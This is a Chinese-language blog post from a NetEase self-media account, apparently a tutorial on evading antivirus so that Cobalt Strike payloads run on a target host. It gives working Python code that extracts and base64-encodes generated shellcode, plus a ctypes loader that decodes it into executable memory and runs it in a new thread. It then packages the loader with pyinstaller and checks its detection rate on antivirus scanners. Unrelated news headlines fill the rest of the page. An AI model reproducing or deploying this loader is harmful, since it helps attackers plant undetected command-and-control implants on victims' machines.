网易首页 > 网易号 > 正文 申请入驻

免杀 - shellcode简单混淆BypassAv

0
分享至

前言

在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit

环境: Cobalt strike 4.1 Python pyinstaller

何为shellcode?

百度百科是这样介绍它的:

“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名”

何为shellcode混淆?

其实就是把我们的shellcode进行加密:如base64,AES等等

实现过程

1、生成shellcode 2、把shellcode加密 3、构造shellcode加载器 4、shellcode加载器把我们加密过后的shellcode解密 5、执行程序,上线C2

下面我也直观的列举了一幅图来说明,如下

利用cobalt strike生成shellcode

生成Python shellcode x64

会得到这样一个内容文件

简单处理payload.py shellcode文件

1、你可以直接把双引号里面的内容复制出来

2、写代码提取出来

这里我用的第二种,附自己写的垃圾代码

这样就能简单处理我们的shellcode文件

对我们提取出来的shellcode进行加密

这里我使用base64加密

1、可以直接使用在线的base64网站加密


https://base64.us/

2、自写代码进行加密

这里使用Python base64库,附代码

# coding=utf-8import base64# 读取shellcode文件shellcode = open('payload.py')shellcode = shellcode.read()# 取出shellcode内容s1 = shellcode.find("\"")+1s2 = shellcode.rfind("\"")shellcode = shellcode[s1:s2]# print(shellcode)# 把shellcode base64加密并写入base64.txt文件base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))with open('base64.txt', 'wb') as shell:shell.write(base64_shellcode)
编写加载器

这里直接附代码

import base64import codecsimport ctypesshellcode = ""shellcode = base64.b64decode(shellcode)shellcode = codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

把我们加密过后的shellcode放进shellcode = ""里

测试,能否上线

利用pyinstaller打包成exe
pyinstaller -F bypassav.py -w

生成exe

测试能否上线

测试免杀率

1、本地360

2、微步在线

3、VT查杀

结尾

这篇只是一个引子,大家还可以考虑

1、对我们生成的exe再进行混淆

2、分离shellcode

后续有时间会给大家写一篇分离shellcode,上述过程皆可进行自动化生成,我已经实现到自己的平台了

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
价格狂飙6倍!日本连夜求购遭中方出口管制,高端制造全线崩盘?

价格狂飙6倍!日本连夜求购遭中方出口管制,高端制造全线崩盘?

王二哥老搞笑
2026-04-17 17:08:23
公开认罪后,人民日报对许家印称呼变了,11字之差释放信号不一般

公开认罪后,人民日报对许家印称呼变了,11字之差释放信号不一般

云舟史策
2026-04-19 07:23:24
贝森特通告全球,将对中方二级制裁,话音刚落,中国被曝美债余额

贝森特通告全球,将对中方二级制裁,话音刚落,中国被曝美债余额

青烟小先生
2026-04-18 11:39:56
72岁成龙近况:带43岁房祖名惠州游玩,市长亲自陪同,父子感情好

72岁成龙近况:带43岁房祖名惠州游玩,市长亲自陪同,父子感情好

神奇故事
2026-04-15 22:42:03
俞强声叛逃美国始末:一场美人计,让谍王37年潜伏功亏一篑

俞强声叛逃美国始末:一场美人计,让谍王37年潜伏功亏一篑

干史人
2026-04-14 15:05:03
王震坚决反对中顾委副主任排名,薄一波:我是常务,就这么定了

王震坚决反对中顾委副主任排名,薄一波:我是常务,就这么定了

徐徐道史
2026-04-17 08:36:39
日本军舰闯台海,我军为啥不打?三个原因告诉你:不是不敢,是不想

日本军舰闯台海,我军为啥不打?三个原因告诉你:不是不敢,是不想

荷兰豆爱健康
2026-04-19 00:44:34
出战15分钟正负值-22!勇士输球后揪出最大罪臣,顶薪合同恐悬了

出战15分钟正负值-22!勇士输球后揪出最大罪臣,顶薪合同恐悬了

兵哥篮球故事
2026-04-18 14:53:45
就凭一句“伪军”,NX8 就成已为更理想的车

就凭一句“伪军”,NX8 就成已为更理想的车

问道求真
2026-04-17 00:03:29
白天作陪晚上同宿?明码标价8000一回!高端伴游沦为色情交易窝点

白天作陪晚上同宿?明码标价8000一回!高端伴游沦为色情交易窝点

网络易不易
2026-01-20 10:17:46
凌晨新消息:美伊战争几天内重启!伊朗:随时准备战斗

凌晨新消息:美伊战争几天内重启!伊朗:随时准备战斗

大国之翼
2026-04-19 07:16:45
难怪我国措辞升级,驱离画面曝光,日舰舰炮上膛,载有反舰导弹

难怪我国措辞升级,驱离画面曝光,日舰舰炮上膛,载有反舰导弹

林子说事
2026-04-18 20:51:07
我醉后对女上司说:再扣工资我就娶了你,第二天她把我叫到办公室

我醉后对女上司说:再扣工资我就娶了你,第二天她把我叫到办公室

千秋文化
2026-04-16 20:15:29
从寒武纪到芯原股份:科创板AI芯片双雄,谁能成为下一个十倍股?

从寒武纪到芯原股份:科创板AI芯片双雄,谁能成为下一个十倍股?

小白鸽财经
2026-04-18 20:30:03
世体:德科认为维克托契合巴萨战术,弥补拉什福德不防守短板

世体:德科认为维克托契合巴萨战术,弥补拉什福德不防守短板

懂球帝
2026-04-19 07:27:03
“二号人物”已交代!民进党栽赃甩锅,郑丽文发出怒吼:跟他拼了

“二号人物”已交代!民进党栽赃甩锅,郑丽文发出怒吼:跟他拼了

米果说识
2026-04-18 16:56:33
伊朗战争打到现在,哈马斯终于出手了,让以色列吃了一个闷亏

伊朗战争打到现在,哈马斯终于出手了,让以色列吃了一个闷亏

来科点谱
2026-04-19 07:20:30
还剩5天,赖清德将登机离岛,大陆宣布结局,蓝营警告:不要乱搞

还剩5天,赖清德将登机离岛,大陆宣布结局,蓝营警告:不要乱搞

古事寻踪记
2026-04-19 07:12:56
特朗普:美伊正对话 “今天结束前会有消息”

特朗普:美伊正对话 “今天结束前会有消息”

新华社
2026-04-18 21:52:13
“宁王”太贵,马斯克不伺候了?特斯拉急寻“平替”,欣旺达上位

“宁王”太贵,马斯克不伺候了?特斯拉急寻“平替”,欣旺达上位

科技Nice
2026-04-16 12:37:24
2026-04-19 07:56:49
重生信息安全
重生信息安全
专注网络安全行业
45文章数 184关注度
往期回顾 全部

科技要闻

传Meta下月拟裁8000 大举清退人力为AI腾位

头条要闻

媒体:特朗普对伊朗发动攻击 美国遭遇四大挫败

头条要闻

媒体:特朗普对伊朗发动攻击 美国遭遇四大挫败

体育要闻

时隔25年重返英超!没有人再嘲笑他了

娱乐要闻

刘德华回应潘宏彬去世,拒谈丧礼细节

财经要闻

"影子万科"2.0:管理层如何吸血万物云?

汽车要闻

奇瑞威麟R08 PRO正式上市 售价14.48万元起

态度原创

游戏
房产
数码
旅游
亲子

让老粥批直呼“计划有变”的岁兽代理人,到底是什么东西?

房产要闻

官宣签约最强城更!海口楼市,突然杀入神秘房企!

数码要闻

华为版的科技春晚来了!Pura 90/Pura X Max下周发:阵容豪华

旅游要闻

申城周末开启“繁花”模式:前滩800米欧式花街变身庄园 全城百个橱窗联动“拥抱”春天

亲子要闻

老公终于梦想成真了!帮忙给宝宝起小名呗

无障碍浏览 进入关怀版